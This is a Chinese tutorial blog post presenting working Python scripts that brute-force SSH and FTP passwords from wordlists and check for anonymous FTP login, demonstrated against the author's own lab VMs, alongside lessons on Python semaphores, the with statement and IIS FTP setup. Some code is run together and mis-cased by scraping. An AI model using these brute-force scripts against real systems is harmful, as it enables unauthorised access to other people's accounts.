返回顶部
首页 > 资讯 > 后端开发 > Python >Python中FTP服务与SSH登录破解的示例分析
  • 858
分享到

Python中FTP服务与SSH登录破解的示例分析

2023-06-20 21:06:17 858人浏览 安东尼

Python 官方文档:入门教程 => 点击学习

摘要

这篇文章主要介绍python中FTP服务与ssh登录破解的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!SSH爆破演示环境借助 Kali 虚拟机进行自身的 SSH 服务的登录爆破,注意提前修改/etc/ssh

这篇文章主要介绍python中FTP服务与ssh登录破解的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!

SSH爆破

演示环境借助 Kali 虚拟机进行自身的 SSH 服务的登录爆破,注意提前修改/etc/ssh/sshd_config配置文件并执行命令service ssh start运行 SSH 服务。

脚本演示

先来看看代码:

from pexpect import pxsshimport argparseimport threadingimport sysmaxConnetions = 5connect_lock = threading.BoundedSemaphore(value=maxConnetions)def connect(host, user, passWord):    try:        s = pxssh.pxssh()        # 登录ssh测试        s.login(host, user, password)        print("[+] Password Found: {}".fORMat(password))        sys.exit(0)    except pxssh.ExceptionPxssh as e:        passdef main():    # 定义脚本的运行参数、获取用户输入的对应参数值    parser = argparse.ArgumentParser()    parser.add_argument('-H', dest='Host', help="like: 192.168.3.1")    parser.add_argument('-F', dest='passwdFile', help="like: /root/pass.txt")    parser.add_argument('-u', dest='user')    args = parser.parse_args()    host = args.Host    passwdFile = args.passwdFile    user = args.user    # 读取字典文件、使用多线程进行口令爆破    with open(passwdFile, 'r') as f:        for line in f.readlines():            with connect_lock:                password = line.strip('\n')                print("[-] Testing: {}".format(password))                # 起线程每个密码尝试登录一次                t = threading.Thread(target=connect, args=(host, user, password))                t.start()main()

在 Kali 终端运行,运行脚本可使用 -h 参数获得提示,效果如下:

Python中FTP服务与SSH登录破解的示例分析

最终暴力破解获得密码 root:

Python中FTP服务与SSH登录破解的示例分析

上述脚本开启 5 个线程连接,开启线程速度会更快是因为这里要远程连接,等待网络有阻塞,故开启多线程可以加快速度(实际上多线程是一个 CPU 在交替运行)。

信号量类

注意到代码中使用threading.BoundedSemaphore(value=maxConnetions)来控制最大线程数量,下面来学习下相关语法知识。

Python 的 threading 线程模块中的 Semaphore 类和 BoundedSemaphore 类来实现并发限制。

  • Semaphore 类和 BoundedSemaphore 类都是信号量类,每次有线程获得信号量(即 acquire() )的时候计数器 -1,释放信号量(release())时候计数器+1,计数器为 0 的时候其它线程就被阻塞无法获得信号量;

  • 当计数器为设定好的上限的时候 BoundedSemaphore 就无法进行 release() 操作了,而 Semaphore 没有这个限制检查。

下面直接通过这两个类的简单示例来学习理解下这两个类在线程控制中的意义。

1、首先看看 Semaphore 类:

coding: utf-8import threadingimport timedef fun(semaphore, num):    # 获得信号量,信号量减一    semaphore.acquire()    print("Thread %d is running." % num)    time.sleep(3)    # 释放信号量,信号量加一    semaphore.release()if __name__=='__main__':    # 初始化信号量,数量为2    semaphore = threading.Semaphore(2)    # 运行4个线程    for num in range(4):        t = threading.Thread(target=fun, args=(semaphore, num))        t.start()

代码运行效果:

Python中FTP服务与SSH登录破解的示例分析

可以注意到线程 0 和 1 是一起打印出消息的,而线程 2 和 3 是在 3 秒后打印的,可以得出每次只有 2 个线程获得信号量,进行打印。

2、接下来看看 BoundedSemaphore 类:

# encoding: UTF-8import threadingimport timedef showfun(n):    print("%s start -- %d"%(time.ctime(),n))    print("working")    time.sleep(2)    print("%s end -- %d" % (time.ctime(), n))    semlock.release()if __name__ == '__main__':    maxconnections = 5    semlock = threading.BoundedSemaphore(maxconnections)    list=[]    for i in range(8):        semlock.acquire()        t=threading.Thread(target=showfun, args=(i,))        list.append(t)        t.start()

看看代码运行效果:

Sun Aug 8 18:59:37 2021 start -- 0
working
Sun Aug 8 18:59:37 2021 start -- 1
working
Sun Aug 8 18:59:37 2021 start -- 2
working
Sun Aug 8 18:59:37 2021 start -- 3
working
Sun Aug 8 18:59:37 2021 start -- 4
working
Sun Aug 8 18:59:39 2021 end -- 0
Sun Aug 8 18:59:39 2021 end -- 1
Sun Aug 8 18:59:39 2021 end -- 2
Sun Aug 8 18:59:39 2021 end -- 3
Sun Aug 8 18:59:39 2021 end -- 4
Sun Aug 8 18:59:39 2021 start -- 5
working
Sun Aug 8 18:59:39 2021 start -- 6
working
Sun Aug 8 18:59:39 2021 start -- 7
working
Sun Aug 8 18:59:41 2021 end -- 5
Sun Aug 8 18:59:41 2021 end -- 6
Sun Aug 8 18:59:41 2021 end -- 7

线程数限制到 5 个,因此等待 0-4 完毕之后 5-7 才能请求到资源进行执行。

with 用法

上面代码中注意到还使用了with connect_lock:语句进行信号量的管理,故来学习下 with 关键词的使用。在 Python 中,with 语句适用于对资源进行访问的场合,确保不管使用过程中是否发生异常都会执行必要的“清理”操作,释放资源,比如文件使用后自动关闭/线程中的自动获取和释放等。

1、问题引出

如下代码:

file = open("1.txt")data = file.read()file.close()

上面代码存在2个问题:

  • 文件读取发生异常,但没有进行任何处理;

  • 可能忘记关闭文件句柄;

2、代码改进

try:    f = open('xxx')except:    print('fail to open')    exit(-1)try:    do somethingexcept:    do somethingfinally:    f.close()

虽然这段代码运行良好,但比较冗长。而使用 with 的话,能够减少冗长,还能自动处理上下文环境产生的异常,如下面代码:

with open("1.txt") as file:    data = file.read()

3、with 工作原理

  • 紧跟 with 后面的语句被求值后,返回对象的 “–enter–()” 方法被调用,这个方法的返回值将被赋值给 as 后面的变量;

  • 当with后面的代码块全部被执行完之后,将调用前面返回对象的 “–exit–()” 方法。

with 工作原理代码示例:

class Sample:    def __enter__(self):        print "in __enter__"        return "Foo"    def __exit__(self, exc_type, exc_val, exc_tb):        print "in __exit__"def get_sample():    return Sample()with get_sample() as sample:    print "Sample: ", sample

代码的运行结果如下:

in __enter__
Sample: Foo
in __exit__

4、with 作用小结

with 看起来如此简单,但是其背后还有一些工作要做,因为你不能对 python 的任意对象使用 with,它仅能工作于支持上下文管理协议的对象。只有内建了“上下文管理”的对象可以和 with 一起工作,目前支持该协议的对象有:

file
decimal.Context
thread.LockType
threading.Lock
threading.RLock
threading.Condition
threading.Semaphore
threading.BoundedSemaphore

因为上下文管理器主要作用于共享资源,__enter__()__exit__()方法干的基本是需要分配和释放资源的低层次工作,比如数据库连接、锁分配、信号量加/减、状态管理、文件打开和关闭、异常处理等。

FTP爆破

FTP(File Transfer Protocol)即文件传输协议,是一种基于 tcp 的协议,采用客户/服务器模式。通过 FTP 协议,用户可以在FTP服务器中进行文件的上传或下载等操作。虽然现在通过 Http 协议下载的站点有很多,但是由于FTP协议可以很好地控制用户数量和宽带的分配,快速方便地上传、下载文件,因此FTP已成为网络中文件上传和下载的首选服务器。

服务搭建

下面演示在 Win10 虚拟机搭建 FTP 服务。

打开的【windows功能】,将 Internet 信息服务的 4 个子功能打勾“√”,然后点击【确定】按钮安装这些功能,图示如下:

Python中FTP服务与SSH登录破解的示例分析

在系统安装配置完成后,打开 IIS 管理器,点击【添加FTP站点】,图示如下:

Python中FTP服务与SSH登录破解的示例分析3、

输入 FTP 站点名称,以及允许用户访问的目录路径,图示如下:

Python中FTP服务与SSH登录破解的示例分析

在【绑定】IP 中输入你本机的 IP 地址,选择“无SSL”,图示如下:

Python中FTP服务与SSH登录破解的示例分析

身份验证选择“基本”,指定 Win10 的用户 True 可登录,完成配置:

Python中FTP服务与SSH登录破解的示例分析

物理机浏览器输入 ftp://win10虚拟机ip,即可访问创建的 ftp 服务,需要输入账户密码:

Python中FTP服务与SSH登录破解的示例分析

验证完账户密码,即可看到 FTP 服务的目录:

Python中FTP服务与SSH登录破解的示例分析

点击查看具体文件内容:

Python中FTP服务与SSH登录破解的示例分析

以上便在局域网内部的 Win10 虚拟机搭建了 FTP 服务,并指定了登录用户为 True。

补充一个概念:匿名FTP服务

匿名 FTP 是这样一种机制:用户可通过它连接到远程主机上,并从其下载文件,而无需成为其注册用户。系统管理员建立了一个特殊的用户 ID,名为anonymous, Internet 上的任何人在任何地方都可使用该用户 ID。

通过 FTP 程序连接匿名 FTP 主机的方式同连接普通 FTP 主机的方式差不多,只是在要求提供用户标识 ID 时必须输入anonymous,该用户 ID 的口令可以是任意的字符串。习惯上,用自己的 E-mail 地址作为口令,使系统维护程序能够记录下来谁在存取这些文件。

匿名扫描

下面先来演示下借助脚本测试 FTP 服务器是否启用匿名登录:

# coding=utf-8import ftplibdef ftpLogin(hostname):    try:        ftp = ftplib.FTP(hostname)        ftp.login('anonymous', 'Tr0e@123.com')        print('[*] ' + str(hostname) + ' FTP Anonymous LoGon Succeeded.')        ftp.quit()        exit(0)    except Exception as e:        print('[-] FTP Anonymous Logon Failed.',e)if __name__ == "__main__":    ftpLogin("192.168.66.101")

代码运行结果,可见当前 FTP 服务器并不支持匿名登录:

Python中FTP服务与SSH登录破解的示例分析

可更改 Win10 虚拟机的 FTP 服务配置,启用匿名登录:

Python中FTP服务与SSH登录破解的示例分析

暴力破解

下面来对 FTP 服务的 True 账户的密码进行暴力破解:

# coding=utf-8import ftplibdef BruteLogin(hostname, passwdFile):    pF = open(passwdFile, 'r')    for line in pF.readlines():        username = line.split(':')[0]        password = line.split(':')[1].strip('\r').strip('\n')        print('[+] Trying: ' + username + '/' + password)        try:            ftp = ftplib.FTP(hostname)            ftp.login(username, password)            print('[*] ' + str(hostname) + ' FTP Logon Succeeded: ' + username + '/' + password)            ftp.quit()            exit(0)        except Exception as e:            pass    print('[-] Could not brubrute force FTP credentials.')    exit(0)if __name__=="__main__":    BruteLogin("192.168.66.101", "pwd.txt")

代码运行效果如下:

Python中FTP服务与SSH登录破解的示例分析

其中密码字典如下:

Python中FTP服务与SSH登录破解的示例分析

以上是“Python中FTP服务与SSH登录破解的示例分析”这篇文章的所有内容,感谢各位的阅读!希望分享的内容对大家有帮助,更多相关知识,欢迎关注编程网Python频道!

--结束END--

本文标题: Python中FTP服务与SSH登录破解的示例分析

本文链接: https://lsjlt.com/news/300144.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • Python中FTP服务与SSH登录破解的示例分析
    这篇文章主要介绍Python中FTP服务与SSH登录破解的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!SSH爆破演示环境借助 Kali 虚拟机进行自身的 SSH 服务的登录爆破,注意提前修改/etc/ssh...
    99+
    2023-06-20
  • Python中FTP服务与SSH登录暴力破解的实现
    目录前言SSH爆破脚本演示信号量类with 用法FTP爆破服务搭建匿名扫描暴力破解总结前言 本文继续学习下 Python 编程在网络攻防领域的应用,主要是通过 Python 脚本进行 SSH 登录爆破和 FTP 服务...
    99+
    2022-06-02
    Python 暴力破解 Python FTP服务暴力破解 Python SSH登录暴力破解
  • FTP服务Proftpd+mysql+quota的示例分析
    这篇文章主要介绍了FTP服务Proftpd+mysql+quota的示例分析,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。1 下载相关软件1 下载proftpd2 下载MyS...
    99+
    2023-06-16
  • vue中登录注册的示例分析
    这篇文章主要介绍了vue中登录注册的示例分析,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。步骤一1.安装脚手架:npm install vu...
    99+
    2024-04-02
  • Python Flask基础登录功能的示例分析
    这篇文章主要介绍了Python Flask基础登录功能的示例分析,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。0x01路由from flask ...
    99+
    2023-06-15
  • vue中微信授权登录的示例分析
    这篇文章主要介绍了vue中微信授权登录的示例分析,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。背景vue前后端分离开发微信授权场景app将商...
    99+
    2024-04-02
  • Python破解极验滑动验证码的示例分析
    这篇文章将为大家详细讲解有关Python破解极验滑动验证码的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。极验滑动验证码以上图片是最典型的要属于极验滑动认证了,极验官网:http://www.ge...
    99+
    2023-06-15
  • Python免登录实现域名解析的示例详解
    目录如何获得域名解析信息获取Token目标实现修改记录写此篇文章,我花10块购买了域名ssw.ski。 目的是编写python脚本,通过dnspod api获取个人域名内的dns解析...
    99+
    2023-03-09
    Python实现域名解析 Python域名解析 Python域名
  • Python中包与模块的示例分析
    这篇文章主要为大家展示了“Python中包与模块的示例分析”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“Python中包与模块的示例分析”这篇文章吧。什么是 Python 的包与模块包的定义:简...
    99+
    2023-06-29
  • 阿里云服务器ssh登录密码错误原因分析与解决方案
    本文将探讨阿里云服务器ssh登录密码错误的问题,分析其可能的原因,并提供相应的解决方案。 在使用阿里云服务器的过程中,有时可能会遇到ssh登录密码错误的问题。这个问题可能会导致无法正常连接到服务器,从而影响到服务器的使用。那么,到底是什么原...
    99+
    2023-11-17
    阿里 解决方案 错误
  • 远程SSH连接服务与基本排错经验的示例分析
    这篇文章主要为大家展示了“远程SSH连接服务与基本排错经验的示例分析”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“远程SSH连接服务与基本排错经验的示例分析”这篇文章吧。为什么要远程连接Linu...
    99+
    2023-06-09
  • python中bs4解析和xpath解析的示例分析
    这篇文章给大家分享的是有关python中bs4解析和xpath解析的示例分析的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。bs4解析原理:实例化一个BeautifulSoup对象,并且将页面源码数据加载到该对象中...
    99+
    2023-06-29
  • 微信小程序中后台登录的示例分析
    这篇文章主要介绍微信小程序中后台登录的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!微信小程序 后台登录实现效果图:最近写了一个工具类的小程序,按需求要求不要微信提供的微信账...
    99+
    2024-04-02
  • 小程序中用户登录状态检查与更新的示例分析
    这篇文章主要介绍小程序中用户登录状态检查与更新的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!将这个部分单独作为一篇文章有两个原因:① wx.getUserInfo...
    99+
    2024-04-02
  • linux中文件与目录管理的示例分析
    这篇文章给大家分享的是有关linux中文件与目录管理的示例分析的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。====基本命令====# pwd [-P] :显示当前的工作目录-P:选项表示显示实际的工作目录,而非...
    99+
    2023-06-13
  • 阿里云服务器无法SSH登录问分析及解决方案
    简介:本文将对阿里云服务器无法SSH登录的问题进行深入分析,并提供相应的解决方案。SSH是一种安全协议,用于在Linux和Unix系统之间传输数据。然而,在使用阿里云服务器时,可能会遇到无法通过SSH登录的问题。本文将探讨可能的原因,并提供...
    99+
    2024-01-25
    阿里 解决方案 服务器
  • Ajax中Session失效跳转登录页面的示例分析
    小编给大家分享一下Ajax中Session失效跳转登录页面的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!在Struts...
    99+
    2024-04-02
  • Fedora35取消“允许用密码登录SSH Root”安装程序选项的示例分析
    这期内容当中小编将会给大家带来有关Fedora35取消“允许用密码登录SSH Root”安装程序选项的示例分析,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大...
    99+
    2024-04-02
  • Python中float()函数的参数分析与示例演示
    Python中的float()函数是用来将参数转换为浮点数的内置函数。在实际编程中,我们经常会遇到需要将其他数据类型转换为浮点数的情况,这时就可以使用float()函数来实现。在本文中...
    99+
    2024-04-02
  • Python中类继承与多态的示例分析
    这篇文章主要介绍了Python中类继承与多态的示例分析,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。概念类(Class): 用来描述具有相同的属性和方法的对象的集合。类变量:...
    99+
    2023-06-22
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作